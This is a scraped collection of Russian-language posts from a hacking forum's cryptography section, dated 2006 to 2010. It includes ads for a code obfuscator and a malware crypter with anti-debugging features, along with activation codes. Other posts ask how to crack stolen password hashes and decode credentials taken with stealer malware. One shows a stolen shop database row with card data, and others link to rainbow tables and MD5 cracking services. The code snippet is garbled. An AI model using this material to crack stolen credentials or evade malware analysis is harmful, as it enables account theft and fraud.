ID: 676536fbb4103b69df3738ff
Thread ID: 19990
Created: 2010-07-08T20:55:04+0000
Last Post: 2010-07-08T20:55:04+0000
Author: smartRYX
Replies: 0 Views: 3K

Obfuscator - obfuscation tool for the x86 assembler

Obfuscator - with this tool you can obfuscate your x86 assembler code, so it will make an analysis of compiled output very difficult.

Features list:

  • MASM syntax only, processing of @@ labels, detection of local variables, constant equ values, and numbers in different formats (hex, dec)
  • changing code execution flow (non linear code path) - it's usefull against all kinds of debuggers, analysis of such code is very "unpleasant"
  • mutation of original instructions into series of other equivalent opcodes - obfuscator can mutate both arithmetic and logical opcodes
  • hiding of direct calls to functions (including WinApi calls)
  • inserting garbage opcodes between real instructions (so called "junks")
  • inserting fake instructions between real ones, 32/16/8 opcodes are generated
  • no support for code with assume directives
  • obfuscated code is slower than the original code

Obfuscator
Activation code with 1000 credits (1000 uses):

Spoiler: 3 у вас 43

CAA9-A68A-DDB7-34E8

online demo
Activation code:
820D-B29C-9A6D-9B28

получить много паролей с одинаковым хешем
ID: 676536fbb4103b69df373903
Thread ID: 18842
Created: 2010-01-15T14:30:39+0000
Last Post: 2010-01-15T17:49:11+0000
Author: STAYER
Replies: 4 Views: 3K

привет всем

вот всплыл такой вопрос требующий решения. буду рад любым мыслям, советам, прогам по этому поводу

зачада - получить из хеша все множество паролей
нужно получить множество паролей (строк) с одинаковым хешем

хеш любой! однозначного совпадения пароля не требуется!

суть: мы имеем несколько пользователей (например 100) которым раздаем разные пароли. пользователь авторизуется в системе с этим паролем - проверка пароля осуществляется по хешу, который хранится в системе. хеш один и должен подходить для всех пользователей (паролей).

пароль пользователя -> вычисляем хеш этого пароля -> сверяем хеш пользователя с хешем в системе -> если хеш(П) = хеш(С) то успешно авторизуемся

ищу любые варианты с хешем, контрольной суммой, открытыми/закрытыми паролями

[PERL] MD5 Cracker
ID: 676536fbb4103b69df373904
Thread ID: 17770
Created: 2009-06-15T06:08:23+0000
Last Post: 2009-10-31T11:52:05+0000
Author: ATLZ
Replies: 1 Views: 3K

[PERL] MD5 Cracker

Перспективные технологии идентификации личности
ID: 676536fbb4103b69df373907
Thread ID: 17937
Created: 2009-07-11T14:15:22+0000
Last Post: 2009-07-11T14:15:22+0000
Author: ViP-K1LLeR
Replies: 0 Views: 3K

del

Keyczar
ID: 676536fbb4103b69df37390a
Thread ID: 17079
Created: 2009-03-02T14:51:49+0000
Last Post: 2009-03-02T14:51:49+0000
Author: E.N.G.Land
Replies: 0 Views: 3K

Keyczar является открытым исходным кодом криптографических инструментов, направленных сделать проще и безопаснее для разработчиков использование криптографии в своих приложениях. Keyczar поддерживает аутентификацию и шифрование с симметричным и асимметричным обменом ключами.

Скачать

На Java и Python (скоро и на C++)

использования GPU для взлома паролей
ID: 676536fbb4103b69df37390c
Thread ID: 16714
Created: 2009-01-21T11:49:01+0000
Last Post: 2009-01-21T21:35:17+0000
Author: MfwQ~J6JB
Replies: 6 Views: 3K

Добрый день господа, интересует такой вопрос, а реально кто ниубть использовал сей функионал ? на сколько реально помогает. Поясню откуда аткой вопрос

Самая современая игрвоая видяха 4870 x2 дает производительность в районе 1000 Гигафлоп, современый Xeon 5420 (4 ядерный) дает производительность в районе 50 Гигафлоп. Видяха стоит поярдка 18К рублей, ксеон порядка 10К ( а кнему надо еще маму которая его поддерживает) , то есть производительность в 20 раз больше одной видяхе (для примера сервер HP 380G5 "заряженый" выдает порядка 120Гигфлоп, при стоимости 220К рублей), выгодна на лицо. Есть ли софт кроме экломсофтовского который использует современные GPU для взлома паролей (и любых других вещей)

Или как вариант бот, который умеет использовать такое, ибо потенциал огромен (взлом игрового портала задротво с самымыми "затюниными" компами и видящками" даст пусть и не так много ботов. но сиозмеримо качественнее, которые явно шустрее смогут взломать что-то, чем в 10 раз больше других)

ЗЫ: кстати а сколько была бы цена бота с таким функционалом заточего под взлом, хэшей, если его заказывать ?

msramdmp
ID: 676536fbb4103b69df37390d
Thread ID: 16695
Created: 2009-01-19T11:59:51+0000
Last Post: 2009-01-19T11:59:51+0000
Author: E.N.G.Land
Replies: 0 Views: 3K

И так... приступим... :)

Некоторое время назад, была опубликована работа исследователей из Принстонского университета, в которой они говорили о процессе восстановления ключей шифрования из памяти(RAM) после "холодной загрузки". Это было удивительно для меня, поскольку я даже не мог предположить такое. Я думал что процессы (информация) в ОЗУ прекращаются (удаляется) сразу после отключения от "сети". Оказалось что это неверное предположение... :swoon2:
Смотреть видео метода "холодной загрузки".
Полное исследование метода тут.(pdf)
FAQ по методу холодной загрузки.
Для тех кто хочет сам провести такой эксперимент сюда.

Этот метод является результативным. Но как вы сами понимаете... не очень удобным. ;) Именно по этому McGrew написал для этого дела msramdmp.

msramdmp - является загрузочным syslinux с флешки, которая загружается без перезаписи содержимого памяти. Это позволяет msramdmp сделать дамп содержимого оперативной памяти на флешку для дальнейшего сбора информации (получения ключей шифрования). Те, кто не может загрузиться с USB устройства можно использовать загрузочный диск (ISO версию).

*msramdmp.tar.gz - Скомпилированный исполняемый com32, готовый для использования с SysLinux. Кроме того, исходный код на С, но и некоторые вещи, необходимые для компиляции и связки.
Пошаговое описание использования msramdmp

*syslinux-3.61.tar.gz - Это точная версия SysLinux. Вам нужно подготовить USB привод для записи оперативной памяти, а также для составления изменений msramdmp.

*msramdmp_cd.iso это загрузочный CD версии msramdmp сделанная с isolinux.Здесь также необходимо подключить привод, чтобы msramdmp мог записать прерывания.
[Блог по msramdmp через ISO](http://www.mcgrewsecurity.com/2008/04/03/msramdmp-now-available-as-a- bootable-iso/)

:excl: Такому виду атаки подвержены такие криптосистемы как: TrueCrypt, BitLocker, FileVault, dm-crypt и другие т.п.

Доклад окончен... B) СПАСИБО за внимание! :)

P.S. Эх, лано хоть в местном отделе МВД об этом не знают... :rolleyes:

Nidhogg 1.1 Beta 1
ID: 676536fbb4103b69df373910
Thread ID: 15997
Created: 2008-10-19T20:07:04+0000
Last Post: 2008-10-19T20:07:04+0000
Author: 10110
Replies: 0 Views: 3K

Nidhogg 1.1 Beta 1

Func-In tech

Encryption

Compression

Memory Execution

Anti Debuggers/Sandboxes

Built in Hex Editor

Section Viewier

Import/Export Viewer

Ability to change EntryPointer

Ability to change ImageBase

:zns5: Скачать|Download

Таблицы радуги
ID: 676536fbb4103b69df373912
Thread ID: 15408
Created: 2008-08-20T14:28:48+0000
Last Post: 2008-08-20T17:04:44+0000
Author: Mr.Di
Replies: 6 Views: 3K

Кто генерил, хочу узнать чем именно, и есть ли софт позволяющий просчитывать оптимальные соотношения длины цепочки, кол-ва цепочек и кол-ва таблиц к занимаемому объему на диске? Ну и плюс конечно время генерации. Имеются таблицы mixalpha-muneric-all ([abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=~`[]{}|:;"'<>,.?/]), длинна 1-6, но там шанс 85% примерно. Хотел для себя погенерить что нибудь посерьезней.

Поиск документации
ID: 676536fbb4103b69df373914
Thread ID: 14537
Created: 2008-02-03T13:36:04+0000
Last Post: 2008-02-04T06:15:05+0000
Author: Izg0y
Replies: 3 Views: 3K

Всем приятного времени суток!

Ищу документацию ( желательно на RU ), по следующим алгоритмам:

-- Challenge-Handshake Authentication Protocol
-- Challenge-Response Authentication Method
-- NDS Authentication
-- Multi-Authentication Framework

Если у кого-то завалялись сорсы с использованием этих алгоритмов буду признателен.

dsCrypt 1.10
ID: 676536fbb4103b69df373916
Thread ID: 14413
Created: 2007-11-28T12:28:20+0000
Last Post: 2007-11-28T12:28:20+0000
Author: LESHIY
Replies: 0 Views: 3K

Программа для шифрования dsCrypt использует алгоритм AES с длиной ключа 256 бит. В ней предусмотрены методы противодействия клавиатурным шпионам и перебору паролей. dsCrypt можно доверять на все 100%. Работает без установки, размер 25Kb.
:zns2: Сайт программы
:zns5: Скачать|Download

База данных MD5 Hash
ID: 676536fbb4103b69df373917
Thread ID: 14381
Created: 2006-12-10T09:48:33+0000
Last Post: 2006-12-10T10:09:34+0000
Author: SiriX
Replies: 1 Views: 3K

Только сильно за данную тему не бейти, и не удаляйте ее сразу :)

Я стал замечать что очень часто на форумах пользователи просят
расшифровать им MD5 Hash паролей и т.п. Это конечно все замечательно,
но а почему бы к примеру на damagelab'e не создать отдельный раздел,
ну можно либо на форуме, либо на самом сайте (в навигаций) в котором все
кто хочет выкладывали бы MD5 Hash'и и тут же их расшифровку. Тем самым
пользователь, которому нужно расшифровать хеш просто бы вбивал в строку
поиска значение хеша, а после получал бы результат. Мне кажеться
это бы многим помогло. Естественно от случайно сгенерированных паролей
этот вариант не поможет, но к примеру к распространенным пасса может
помочь на ВСЕ 100 %.

Таблица с кодами
ID: 676536fbb4103b69df373918
Thread ID: 14345
Created: 2006-12-08T13:38:27+0000
Last Post: 2006-12-10T01:22:29+0000
Author: namo
Replies: 4 Views: 3K

Вот, табличка в помошь новичкам и не только ...
Символ UNICODE Dec HEX Мнемоника

%09 &#09 &#x09
%0A &#10 &#x0A
%20 &#32 &#x20
! %21 &#33 &#x21
" %22 &#34 &#x22 &quote;

%23 &#35 &#x23

$ %24 &#36 &#x24
% %25 &#37 &#x25
& %26 &#38 &#x26 &
' %27 &#39 &#x27
( %28 &#40 &#x28
) %29 &#41 &#x29

  • %2A &#42 &#x2A
    + %2B &#43 &#x2B
    , %2C &#44 &#x2C
    - %2D &#45 &#x2D
    . %2E &#46 &#x2E
    / %2F &#47 &#x2F
    0 %30 &#48 &#x30
    1 %31 &#49 &#x31
    2 %32 &#50 &#x32
    3 %33 &#51 &#x33
    4 %34 &#52 &#x34
    5 %35 &#53 &#x35
    6 %36 &#54 &#x36
    7 %37 &#55 &#x37
    8 %38 &#56 &#x38
    9 %39 &#57 &#x39
    : %3A &#58 &#x3A
    ; %3B &#59 &#x3B
    < %3C &#60 &#x3C <
    = %3D &#61 &#x3D

%3E &#62 &#x3E >
? %3F &#63 &#x3F
@ %40 &#64 &#x40
A %41 &#65 &#x41
B %42 &#66 &#x42
C %43 &#67 &#x43
D %44 &#68 &#x44
E %45 &#69 &#x45
F %46 &#70 &#x46
G %47 &#71 &#x47
H %48 &#72 &#x48
I %49 &#73 &#x49
J %4A &#74 &#x4A
K %4B &#75 &#x4B
L %4C &#76 &#x4C
M %4D &#77 &#x4D
N %4E &#78 &#x4E
O %4F &#79 &#x4F
P %50 &#80 &#x50
Q %51 &#81 &#x51
R %52 &#82 &#x52
S %53 &#83 &#x53
T %54 &#84 &#x54
U %55 &#85 &#x55
V %56 &#86 &#x56
W %57 &#87 &#x57
X %58 &#88 &#x58
Y %59 &#89 &#x59
Z %5A &#90 &#x5A
[ %5B &#91 &#x5B
\ %5C &#92 &#x5C
] %5D &#93 &#x5D
^ %5E &#94 &#x5E
_ %5F &#95 &#x5F
` %60 &#96 &#x60
a %61 &#97 &#x61
b %62 &#98 &#x62
c %63 &#99 &#x63
d %64 &#100 &#x64
e %65 &#101 &#x65
f %66 &#102 &#x66
g %67 &#103 &#x67
h %68 &#104 &#x68
i %69 &#105 &#x69
j %6A &#106 &#x6A
k %6B &#107 &#x6B
l %6C &#108 &#x6C
m %6D &#109 &#x6D
n %6E &#110 &#x6E
o %6F &#111 &#x6F
p %70 &#112 &#x70
q %71 &#113 &#x71
r %72 &#114 &#x72
s %73 &#115 &#x73
t %74 &#116 &#x74
u %75 &#117 &#x75
v %76 &#118 &#x76
w %77 &#119 &#x77
x %78 &#120 &#x78
y %79 &#121 &#x79
z %7A &#122 &#x7A
{ %7B &#123 &#x7B
| %7C &#124 &#x7C
} %7D &#125 &#x7D
~ %7E &#126 &#x7E

hex ?
ID: 676536fbb4103b69df373919
Thread ID: 14341
Created: 2006-12-08T12:39:49+0000
Last Post: 2006-12-08T13:34:56+0000
Author: namo
Replies: 2 Views: 3K

Hi .. спрашивал на других форумах по этому вопросу, но мне вразумительного ответа так и не дали ...

мона ли это чем-нить перевести ..

пасс: OV$:!› (hex: 4F 56 24 3A 21 9B 0D 0B)
посути "OV$:!›" = 4F 56 24 3A 21 9B ... но вот 0d и 0B я никак не могу расшифровать, мб это переход на новую строку ?

хотя скорее всего это глюк пинча .. (

Online PHP encryptor
ID: 676536fbb4103b69df37391d
Thread ID: 13398
Created: 2006-11-07T11:11:06+0000
Last Post: 2006-11-07T16:24:10+0000
Author: wutang
Replies: 3 Views: 3K

Онлайн криптор php скриптов, с возможностью привязки скрипта к заданому урлу и установкой expire date

http://rgirardin.mine.nu/encryptor/

Расшифровать пассы
ID: 676536fbb4103b69df373920
Thread ID: 13129
Created: 2006-10-31T14:52:57+0000
Last Post: 2006-11-03T15:23:54+0000
Author: XLocked
Replies: 3 Views: 3K

Наткнулся как-то на один файл на Х сайте вот с таким содержанием
_
eeb:LgxvlD0FZahXQ:72:64:Ed Balkovich , ,:/mit/e/e/eeb:/bin/csh
connie:ju3DxB1xM4g1Q:100:64:Connie Donaghey , ,:/mit/c/o/connie:/usr/new/csh
dndobrin:LGWI3FM7OuYpM:399:101:David N. Dobrin:/mit/d/n/dndobrin:/bin/tcsh
и т. д.

Я так понял это юзеры и пароли к ним. Подскажите они зашифрованы или нет, и чем можно их расшифровать?_

Пароли на ФТП в Total_Commander
ID: 676536fbb4103b69df373921
Thread ID: 13000
Created: 2006-10-28T04:30:02+0000
Last Post: 2006-10-28T20:54:34+0000
Author: opium
Replies: 5 Views: 3K

Помогите найти алгоритм шифрования паролей на ФТП в Total_Commander.
Файл с пассами : C:\WINDOWS\wcx_ftp.ini

Вот примеры хеша:

1 - CE4810237C
2 - D0F2412AE5
a - AEBC414817
b - B00610418E
c - B2902046F9

P.S. Дабы небыло флуда скажу, что меня не интересуют проги, с помощью которых можно вытащить пароль (если только эти проги не опенсоурс). Меня интересует ТОЛЬКО алгоритм шифрования. Если можно, приведите пример на Дельфи.

Спасибо всем, кто попытается помочь

Каким алгоритмом шифруются пароли
ID: 676536fbb4103b69df373922
Thread ID: 12879
Created: 2006-10-25T11:18:37+0000
Last Post: 2006-10-25T13:49:04+0000
Author: Sniper
Replies: 7 Views: 3K

Есть пароли от IPB 2.1.6 member_login_key из таблицы members
Нужно расшифровать бы ,но не понятно что за алгоритм
Или нужно сначала хэш и соль вытаскивать Как ?
Например такой пасс 96061f01c5b0132e2f25f304e9b03afe
Помогите чайнику :)

Распределенный брут
ID: 676536fbb4103b69df373925
Thread ID: 12457
Created: 2006-10-11T10:48:38+0000
Last Post: 2006-10-17T05:59:10+0000
Author: gtx
Replies: 6 Views: 3K

Доброе время суток!
Кто-нибудь пробовал взламывать хеши таким методом?
Хочу попробовать создать бот, который будет это делать, но вижу много подводных камней.
Если вы пробовали сделать тоже самое или можете чем либо помочь, пишите в этой теме

Двоичный код -> ссылка
ID: 676536fbb4103b69df373926
Thread ID: 12600
Created: 2006-10-16T07:01:13+0000
Last Post: 2006-10-16T11:06:13+0000
Author: FlatL1ne
Replies: 6 Views: 3K

0110100001110100011101000111000000111010001011110010111101110111011101110111011100101110011100110110
1101011011110110101101100101011010000110010101110010011000100010111001100011011011110110110100101111
01110111011010010110111001100100011011110111011101110011

нужно конвертировать в ссылку.... :help:

So far it seems true. The Source code for Windows 2000 and NT has been leaked. Get your copies. Convert from binary for actual link.

Шифрует прога наименования в базе Нужно экспортиро
ID: 676536fbb4103b69df373927
Thread ID: 12135
Created: 2006-09-27T21:04:47+0000
Last Post: 2006-10-15T20:09:47+0000
Author: FogOfJokes
Replies: 6 Views: 3K

Описание проблемы: есть база данных очень большая. В ней НЕ предусмотрен экспорт номенклатуры. База купленна официально. Нужно из нее экспортировать все данные.
наименования вижу что зашифрованны. плюс: если в БД вношу свои данные она их тоже шифрует. (напрямую лажу в базе, в обход интерфейса, потому вижу). Могу найти любое соответствие номенклатуры путем сопоставления незашифрованного кода элемента.

требуется: попытаться определить что она делает с наименованием. Например в базу заношу "А" получаю 15, "Б" - 16, "В" - 17, "АА" - "51A7" если пять русских "А" - то 10 английских цифробукв. сначала подумал переводит в Quoted printable Hex dump, но не тут-то было. Продавать базу не собираюсь. нужно поместить базу в мою БД для использования этих справочников.

даже если БД переводит в Hexdump и потом переставляет буквы, то нет. думаю из выше сказанного понятно.

бьюсь 4 дня аж башка болит, кто поможет хоть советом куда копать... в криптографии не соображаю. Разработчикам звонил, сказали не наши проблемы, садите девушку пускай набивает (а это 500 000 элементов в среднем по 20-40 символов и всякой доп информации) вот
Заранее спасибо за дельные советы . всем удачи!

расшифровка
ID: 676536fbb4103b69df373928
Thread ID: 11812
Created: 2006-09-18T19:40:36+0000
Last Post: 2006-10-13T18:09:12+0000
Author: Bendar
Replies: 4 Views: 3K

народ памагите кто знает как дешифровать :help: отловленые пакеты с сообщениями в чате Network Assistant 4.1 может кто знает что !!!

Критерии выбора пароля
ID: 676536fbb4103b69df37392d
Thread ID: 10189
Created: 2006-07-26T13:32:48+0000
Last Post: 2006-09-04T16:24:51+0000
Author: KodRed
Replies: 1 Views: 3K

Критерии выбора пароля.
для того чтобы выбрать"хороший" пароль который трудно "взломать" необходимо в первую очередь знать, что же скрывается под словом "взломать".
Взлом паролей(или атака на пароли) может быть осуществлен одним из следующих способов:
-перепробовать все возможные пароли;
-попробовать множество вероятных паролей
-попытаться использовать личную инфрмацию о пользователе;
-поискать список паролей в самой системе;
-и наконец просто спросить пользователя)
критерии выбора 1.используйте разнообразные символы верхнего и нижнего регистров,цифры и спец символы
2.Выбирайте длинные пароли состоящие минимум из 6 символов
3.старайтесь не использовать общеизвестные слова.
4.выбирайте не типичные пароли.
5.меняйте пароль регулярно
6.никому не говорите и не записывайте свой пароль

функция написанная на языке Си для подсчета уровня сложности пароля
/psw-пользовательский пароль/
int calcPswComplexity(char
psw){
short b_Mask=0xf0;/
в
двоичном виде:11110000
*/
unsigned short i =0,
bFound=o,j;
int complxty =0; /Итого-
вая сложность пароля
/
int *res;

res = (int*)
malloc(sizeof(int)) *
(strlen(psw)+1);
if(res==NULL){
printf (<>);
return-1;
}
memst(res,0,sizeof(res));

while(strlen(psw)>0){
res _=(b_Mask & psw[0]);
/Удаление младших битов символа/
for(bFound=0,j=0;
j<i;j++)
if(res _==res _){
bFound=1;break;}
if (!bFound)
complxty++;
psw++;
i++;
}
free(res);
return complxty;
}

по этой функции например сложность пароля abc = 1, но уже сложность пароля aB = 2 , а вот например сложность пароля GeiP6*Z = 6. Вот так вот...___

Получение сертификата через Active Directory
ID: 676536fbb4103b69df373930
Thread ID: 10129
Created: 2006-07-25T07:27:23+0000
Last Post: 2006-08-13T14:13:21+0000
Author: DmitrySukach
Replies: 2 Views: 3K

Операционка MS Server 2003, установлена Microsoft Certification Authority, в ней зарегестрирован сертификат. В Active

Directory этот сертификат соотнесён с некоторым пользователем U1 (Console Root\Active Directory Users and Computers ->

Actions->All tasks->Name mapping->X.509 Certificates). Необходимо ПРОГРАММНО (с помощью CryptoAPI) получить этот сертификат

для данного пользователя. Единственное, что нашёл в MSDN для этого:

http:/msdn.microsoft.com/library/default.asp?url=/library/en- us/seccrypto/security/retrieving_an_issued_certificate_from_t

he_active_directory.asp. Запускаю, возвращает для пользователя U1 и для любого пользователя из данной папки Active

Directory одинаковый сертификат, который берёт непонятно откуда. Меняю CertFindCertificateInStore на

CertEnumCertificatesInStore в цикле - результат тот же. Для любого пользователя находится только всё тот же один

сертификат. Сертификат, который "примаплен" к U1, не находит.
Есть у кого дельные советы? Буду весьма благодарен.

что за шифрование?
ID: 676536fbb4103b69df373931
Thread ID: 9503
Created: 2006-06-27T10:37:14+0000
Last Post: 2006-06-27T10:41:20+0000
Author: durito
Replies: 1 Views: 3K

вытянул два хеша из PHPNuke
matox:0cbccc06a63e7f7f54776ecebfac17
gorilla:af2b9285eab7d17e54ef56faf07081

но это не md5. что за алгоритм?

софт для шифрования данных
ID: 676536fbb4103b69df373932
Thread ID: 9410
Created: 2006-06-23T11:23:11+0000
Last Post: 2006-06-23T11:23:11+0000
Author: [GL]
Replies: 0 Views: 3K

BestCrypt.v7.20.2
Пакет утилит для создания на жестком диске компьютера виртуального зашифрованного диска (контейнера) - одного или нескольких. С зашифрованным контейнером можно работать как с обычным жестким диском - размещать на нем файлы и производить с ними любые операции, инсталлировать программы и т.д. и т.п. Шифрование/расшифровка идет в фоновом режиме, так что пользователь не замечает разницы в работе с обычным и зашифрованным диском, который, кстати, при необходимости одним кликом может превратиться в обычный, но нечитаемый, файл. Есть у этой программы и такая опция, как создание "скрытого" контейнера, который нельзя определить (увидеть) никакими средствами. Кроме этого, в BestCript входит утилита для шифрования своп-файла (в свопе хранятся временные данные, в том числе документы и пароли, так что его шифрование является совсем нелишней опцией для защиты информации).

DriveCrypt.Plus.Pack
Великолепный софт от немецких производителей, фирмы SecurStar. DriveCrypt PlusPack шифрует целиком партиции, выполняет шифрование 256-bit "на-лету" по алгоритму AES-256. Перед загрузкой с партиции Вас спросят пароль, и только потом начнет грузится ваша ОС. Программа "прозрачна" для пользователя и практически не грузит машину. Ведь гораздо приятнее, когда твои данные под защитой. Приятных фишек в программе куча. Вот например одна из них: программа позволяет скрыть вашу ОС и при случае грузить "фейковую" ОС

DriveCrypt 4.2

PGP
PGP - Самый популярный пакет программ для шифрования переписки по электронной почте и любых данных, хранящихся на жестком диске. В бесплатный вариант PGP (предназначен только для частного некоммерческого использования) включенs функции шифрования файлов и папок, в платном варианте опций значительно больше

  • от шифрованной переписки (включая через интернет-пейджеры) и создания зашифрованных дисков на локальном компьютере до развертывания защищенной локальной сети.
    Ссылка "скачать" - страница загрузки 30-дневной trial-версии PGP Desktop Professional (без возможности создания зашифрованного PGP Whole Disk). По окончании тестового периода функциональность программы сокращается до PGP Freeware (в т.ч. отключается возможность шифрования переписки по e-mail и через интернет-пейджер).

VDFCrypt 1.5.1
VDFCrypt - Программа для создания виртуальных зашифрованных дисков, причем эти виртуальные диски можно использовать точно так же, как и обычные жесткие диски

  • устанавливать на них программы, записывать данные и т.д. Есть возможность создания и подключения образов CDROM и дискет; шифрование допускается производить как с помощью оригинальных алгоритмов, так и используя уже известные (поддерживаются SSE1, Ghost28147, IDEA, Blowfish, DES, 3DES, Arcfour).
    В случае неработоспособности в WinXP с домашней страницы можно скачать патч.
    :zns5: Скачать|Download
    Arcrypt 4.0
    Arcrypt - Arcrypt (Advanced Russian Crypt) - программа для защиты данных. Создает виртуальный диск, существующий только во время сеанса работы с шифрованной информацией (для шифрования используется алгоритм RCR2). На время сеанса виртуальный диск обладает всеми характеристиками логического диска - на него можно записывать файлы и папки, удалять их, модифицировать и т.п. Все удаляемые ресурсы тщательно затираются, что исключает возможность их восстановления какой-либо утилитой. "Диск" закрывается паролем, и этих паролей может быть несколько (каждому паролю будет соответствовать свой зашифрованный "диск"). Интерфейс - русский, с помощью скинов можно легко изменить внешний вид программы. Несмотря на бесплатность, программа требует регистрации, которая происходит через Интернет при ее первом запуске.
    :zns5: Скачать|Download
Пoдскaжите кaк рaскoдирoвaть.
ID: 676536fbb4103b69df373938
Thread ID: 8157
Created: 2006-05-01T07:22:23+0000
Last Post: 2006-05-07T12:35:55+0000
Author: WLC
Replies: 3 Views: 3K

Пaрни, пoдскaжите плиз.
Вoт есть у меня бaзa с шoпa, a тaм все дaнные в тaкoм виде:

NSERT INTO tblshoppingcart VALUES (77326,80,'2005-02-12 12:43:28','2005-02-14 09:39:09',228,1,765,0,'BJS-120205-0077326','AUTH CODE:667557','ALL MATCH','2005-02-12 12:57:57','17-5-326559','AnJC5y+WqeYS4hyH08L71/BKgm1t1aSABfeamB/jR0KOvWZILOM4tv9onlXfpQca7Cu0TtfBMUw6Ms3j3aJWzKluNKsksyyoMkZVB4IlfwkiLr10z0wHpwMjQ/fRgV4KRnxV589h2TuLrAbQEllLfFYP0LpX6jbsOxYQskKWMbUo=',1,'VISA',765,'4462','0395',1,115,'2005-02-12 12:54:16','','',1,0);

Мoжнa кaк нибудь этo делo рaсшифрoвaть???
Зaрaние спaсибo.

p.s. сoрри если не в тoт рaздел зaпoстил.

Хелп новичку
ID: 676536fbb4103b69df373939
Thread ID: 8295
Created: 2006-05-06T15:46:23+0000
Last Post: 2006-05-06T19:20:32+0000
Author: WindowsME
Replies: 2 Views: 3K

Кароч, я полный нуб. Послал чуваку хинча, выдернул пароли... а пароль из аськи расшифровать не могу. точнее не знаю как. пароль такого типа:
6C 69 6E 75 78 78 78

Стеганография
ID: 676536fbb4103b69df37393a
Thread ID: 7645
Created: 2006-04-02T07:09:26+0000
Last Post: 2006-05-03T11:30:25+0000
Author: SelF
Replies: 2 Views: 3K

**

Стеганография ​

**
Стеганография - это сокрытие информации в избыточных мультимедиа файлах, которыми являются видео, изображения и музыка.

Избыточность этих файлов заключается в следующем:
1. кодовая избыточность, которая возникает при неоптимальном описании изображения;
2. межпиксельная избыточность, которая обусловлена сильной корреляционной зависимостью между соседними пикселями изображения;
3. психовизуализационная избыточность, возникающая из-за того, что органы чувств человека не в состоянии точно оценить изображение пиксель за пикселем.

Информационные видеопотоки, которые состоят из последовательности отдельных кадров, характерны своими избыточностями:

1. информационная избыточность
2. технологическая избыточность
3. временная избыточность
4. функциональная (смысловая) избыточность

Методы сокрытия информации в цифровых изображениях и видео можно разделить на следующие группы:

1. методы замены пространства (временной области)
2. метод случайного интервала и случайной перестановки
3. метод блочного сокрытия
4. метод замены палитры
5. метод квантования изображения
6. методы сокрытия в частотной области изображения

Исходя из вышесказанного видно, что можно воспользоваться медиа информацией как криптоконтейнером, помещая внутри её какую либо секретную или важную информацию и таким образом исключая обнаружение факта передачи информации, так как найти спрятанное сообщение внутри файла, не зная каким именно образом оно там записано - невозможно.

Более подробно данную информацию можно найти в книге
[Цифровая стеганография](http://livemobile.dl2.vipserver.ru/damagelab/self/books/cifrovaya cteganographiya.rar)

Online cracking md5
ID: 676536fbb4103b69df37393b
Thread ID: 7936
Created: 2006-04-17T17:43:17+0000
Last Post: 2006-04-26T18:31:11+0000
Author: Robin Gud
Replies: 2 Views: 3K

Часто бывает, когда тебе не хочется брутить сложный хеш и так хочется переложить эту работу на кого-то другого! :D
В этом тебе могут помочь онлайн утилиты для взлома хешей md5...Конечно сложный хеш он тебе не подберёт, зато сможет простые(да и не такие уж и простые) хеши расшифровать на лету...Так что пользуйтесь...

http://www.passcracking.ru/index.php
http://us.md5.crysm.net/
http://www.plain-text.info/
http://gdataonline.com/
http://www.milw0rm.com/md5/info.php
http://md5.t145.1paket.com/md5crack.php
http://www.securitystats.com/tools/
http://md5.rednoize.com/
http://md5crack.it-helpnet.de/

Матика фореве
ID: 676536fbb4103b69df37393d
Thread ID: 7987
Created: 2006-04-20T12:25:14+0000
Last Post: 2006-04-21T10:11:45+0000
Author: Dude03
Replies: 2 Views: 3K

Нужна ваша помощь. Подкиньте парочку линков на задачи по криптографии и математике, которая относиться к криптографии. :help:

чем зашифровано?
ID: 676536fbb4103b69df37393f
Thread ID: 7415
Created: 2006-03-15T07:38:31+0000
Last Post: 2006-03-17T20:00:51+0000
Author: blood
Replies: 4 Views: 3K

мило z$nova$z#gmail$com
fd46d4c287a11ed4f0bccf4702ea81e6

rainbow tables
ID: 676536fbb4103b69df373941
Thread ID: 6773
Created: 2006-01-30T12:29:55+0000
Last Post: 2006-01-30T12:29:55+0000
Author: Winux
Replies: 0 Views: 3K

Предлагаю вам, как самым ненормальнам райнбоу таблицы.

  1. 43 гб
    http://rainbowtables.shmoo.com/
    LanMan Password Hashes Consisting of Alphabet Characters (ABCDEFGHIJKLMNOPQRSTUVWXYZ)
    LanMan Password Hashes Consisting of Alpha-Numeric Characters (ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)
    LanMan Password Hashes Consisting of Alpha-Numeric and 14 Symbols (ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&()-_+=)
    LanMan Password Hashes Consisting of All Characters and the Space Character (ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&
    ()-_+=~`[]{}|:;"'<>,.?/ )

  2. Полтора гига
    http://wired.s6n.com/files/jathias/

  3. http://www.rainbowtables.net/services.php

  4. для русских ип 122 мега:
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.rar
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.sfv
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.rar
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.sfv
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.rar
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.sfv
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.rar
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.sfv
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.rar
    http://masolit.502.com1.ru/Rainbow/md5_low...8000000_all.sfv

  5. и 248 мегов:
    [http://masolit.502.com1.ru/Rainbow/md5_low...40000000_all.7z](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_0_2400x40000000_all.7z)
    [http://masolit.502.com1.ru/Rainbow/md5_low...0000000_all.sfv](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_0_2400x40000000_all.sfv)
    [http://masolit.502.com1.ru/Rainbow/md5_low...40000000_all.7z](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_1_2400x40000000_all.7z)
    [http://masolit.502.com1.ru/Rainbow/md5_low...0000000_all.sfv](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_1_2400x40000000_all.sfv)
    [http://masolit.502.com1.ru/Rainbow/md5_low...40000000_all.7z](http://masolit.502.com1.ru/Rainbow/md5_loweralpha- numeric_1-7_2_2400x40000000_all.7z)
